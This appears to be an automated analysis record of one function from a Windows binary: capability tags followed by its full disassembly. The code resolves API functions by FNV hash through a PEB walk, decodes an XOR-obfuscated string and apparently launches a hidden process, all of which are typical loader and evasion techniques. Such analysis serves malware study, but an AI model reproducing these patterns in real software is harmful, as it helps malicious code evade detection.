Function at 0x18003b9c4
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
sub rsp, 0x4e0
lea rbp, [rsp + 0x70]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x1801bf780]
xor rax, rsp
mov qword [rbp + 0x460], rax
cmp byte [rcx], 0
jne 0x18003b9ff
call fcn.18003049c
xor edx, edx
lea rcx, [rbp + 0x80]
lea r8d, [rdx + 0x68]
call fcn.1801316f0
xor eax, eax
or r14d, 0xffffffff
mov qword [rbp + 0x70], rax
xorps xmm0, xmm0
mov rax, qword [0x1801c4500]
movups xmmword [rbp + 0x60], xmm0
test rax, rax
jne 0x18003bace
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r8, qword [rax + 0x30]
movsxd rcx, dword [r8 + 0x3c]
mov r9d, dword [rcx + r8 + 0x88]
add r9, r8
cmp r9, r8
je 0x18003baa9
mov r10d, dword [r9 + 0x18]
test r10d, r10d
je 0x18003baa9
mov edi, dword [r9 + 0x20]
add r10d, r14d
mov r11d, 0xef13f952
lea rcx, [rdi + r10*4]
mov edx, dword [rcx + r8]
add rdx, r8
mov cl, byte [rdx]
inc rdx
test cl, cl
je 0x18003baa4
movsx ecx, cl
xor ecx, r11d
imul r11d, ecx, 0x1000193
mov cl, byte [rdx]
inc rdx
test cl, cl
jne 0x18003ba85
cmp r11d, 0xa112262
je 0x18003baae
test r10d, r10d
jne 0x18003ba68
mov rax, qword [rax]
jmp 0x18003ba43
mov ecx, dword [r9 + 0x24]
add rcx, r8
movzx edx, word [rcx + r10*2]
mov ecx, dword [r9 + 0x1c]
add rcx, r8
mov eax, dword [rcx + rdx*4]
add rax, r8
mov qword [0x1801c4500], rax
mov r8d, 0x104
lea rdx, [rbp + 0x140]
xor ecx, ecx
call rax
movabs rax, 0xce4ae9ff90ef8474
lea r9, [rbp + 0x140]
mov qword [rbp], rax
lea r8, [rbp + 0x20]
mov rax, qword [rbp]
lea rcx, [rbp + 0x250]
mov qword [rbp + 0x20], rax
mov edx, 0x208
movabs rax, 0xa25ccb1a8b897bc7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
movabs rax, 0xe4a6094d43a69630
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x30], rax
movabs rax, 0xad81289dbc3ad8ff
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
movabs rax, 0xb1655abe4215c6fe
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x40], rax
movabs rax, 0xd47d9607c8a6e569
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x48], rax
movabs rax, 0x2dba2460bef112ba
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x50], rax
movabs rax, 0xdf08c251845cf1e4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x58], rax
movabs rax, 0xee2f919abe8be917
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x100], rax
movabs rax, 0x823ba573fba938e8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x108], rax
movabs rax, 0xc497277c6d97b801
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x110], rax
movabs rax, 0x8df605bd8d1ab6d2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x118], rax
movabs rax, 0xff45649e7225f6cb
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x120], rax
movabs rax, 0xbc1ef327ee86891c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x128], rax
movabs rax, 0x5e9f064080d13cd5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x130], rax
movabs rax, 0xdf6aed71fd73d1c6
mov qword [rbp], rax
mov rax, qword [rbp]
vmovdqu ymm0, ymmword [rbp + 0x100]
vpxor ymm1, ymm0, ymmword [rbp + 0x20]
vmovdqu ymm0, ymmword [rbp + 0x40]
vmovdqa ymmword [rbp + 0x20], ymm1
mov qword [rbp + 0x138], rax
vpxor ymm1, ymm0, ymmword [rbp + 0x120]
vmovdqa ymmword [rbp + 0x40], ymm1
vzeroupper
call fcn.18003ca88
mov rax, qword [0x1801c4508]
test rax, rax
jne 0x18003bd46
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r8, qword [rax + 0x30]
movsxd rcx, dword [r8 + 0x3c]
mov r9d, dword [rcx + r8 + 0x88]
add r9, r8
cmp r9, r8
je 0x18003bd21
mov r10d, dword [r9 + 0x18]
test r10d, r10d
je 0x18003bd21
mov edi, dword [r9 + 0x20]
add r10d, r14d
mov r11d, 0xfe050665
lea rcx, [rdi + r10*4]
mov edx, dword [rcx + r8]
add rdx, r8
mov cl, byte [rdx]
inc rdx
test cl, cl
je 0x18003bd1c
movsx ecx, cl
xor ecx, r11d
imul r11d, ecx, 0x1000193
mov cl, byte [rdx]
inc rdx
test cl, cl
jne 0x18003bcfd
cmp r11d, 0x2fdf65e9
je 0x18003bd26
test r10d, r10d
jne 0x18003bce0
mov rax, qword [rax]
jmp 0x18003bcbb
mov ecx, dword [r9 + 0x24]
add rcx, r8
movzx edx, word [rcx + r10*2]
mov ecx, dword [r9 + 0x1c]
add rcx, r8
mov eax, dword [rcx + rdx*4]
add rax, r8
mov qword [0x1801c4508], rax
lea rcx, [rbp + 0x60]
xor r9d, r9d
mov qword [rsp + 0x48], rcx
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0x80]
xor r8d, r8d
mov qword [rsp + 0x40], rcx
xor ecx, ecx
and qword [rsp + 0x38], 0
and qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
and dword [rsp + 0x20], 0
call rax
mov rax, qword [0x1801c4510]
test rax, rax
jne 0x18003be31
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r8, qword [rax + 0x30]
movsxd rcx, dword [r8 + 0x3c]
mov r9d, dword [rcx + r8 + 0x88]
add r9, r8
cmp r9, r8
je 0x18003be0c
mov r10d, dword [r9 + 0x18]
test r10d, r10d
je 0x18003be0c
mov edi, dword [r9 + 0x20]
add r10d, r14d
mov r11d, 0xbaf0aed8
lea rcx, [rdi + r10*4]
mov edx, dword [rcx + r8]
add rdx, r8
mov cl, byte [rdx]
inc rdx
test cl, cl
je 0x18003be07
movsx ecx, cl
xor ecx, r11d
imul r11d, ecx, 0x1000193
mov cl, byte [rdx]
inc rdx
test cl, cl
jne 0x18003bde8
cmp r11d, 0x919945c2
je 0x18003be11
test r10d, r10d
jne 0x18003bdcb
mov rax, qword [rax]
jmp 0x18003bda6
mov ecx, dword [r9 + 0x24]
add rcx, r8
movzx edx, word [rcx + r10*2]
mov ecx, dword [r9 + 0x1c]
add rcx, r8
mov eax, dword [rcx + rdx*4]
add rax, r8
mov qword [0x1801c4510], rax
mov rcx, qword [rbp + 0x68]
call rax
mov rax, qword [0x1801c4518]
test rax, rax
jne 0x18003bee3
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r8, qword [rax + 0x30]
movsxd rcx, dword [r8 + 0x3c]
mov r9d, dword [rcx + r8 + 0x88]
add r9, r8
cmp r9, r8
je 0x18003bebe
mov r10d, dword [r9 + 0x18]
test r10d, r10d
je 0x18003bebe
mov edi, dword [r9 + 0x20]
add r10d, r14d
mov r11d, 0x4e8bfaf7
lea rcx, [rdi + r10*4]
mov edx, dword [rcx + r8]
add rdx, r8
mov cl, byte [rdx]
inc rdx
test cl, cl
je 0x18003beb9
movsx ecx, cl
xor ecx, r11d
imul r11d, ecx, 0x1000193
mov cl, byte [rdx]
inc rdx
test cl, cl
jne 0x18003be9a
cmp r11d, 0x79ea2bcb
je 0x18003bec3
test r10d, r10d
jne 0x18003be7d
mov rax, qword [rax]
jmp 0x18003be58
mov ecx, dword [r9 + 0x24]
add rcx, r8
movzx edx, word [rcx + r10*2]
mov ecx, dword [r9 + 0x1c]
add rcx, r8
mov eax, dword [rcx + rdx*4]
add rax, r8
mov qword [0x1801c4518], rax
mov rcx, qword [rbp + 0x60]
call rax
xor ecx, ecx
call fcn.180114a08
int3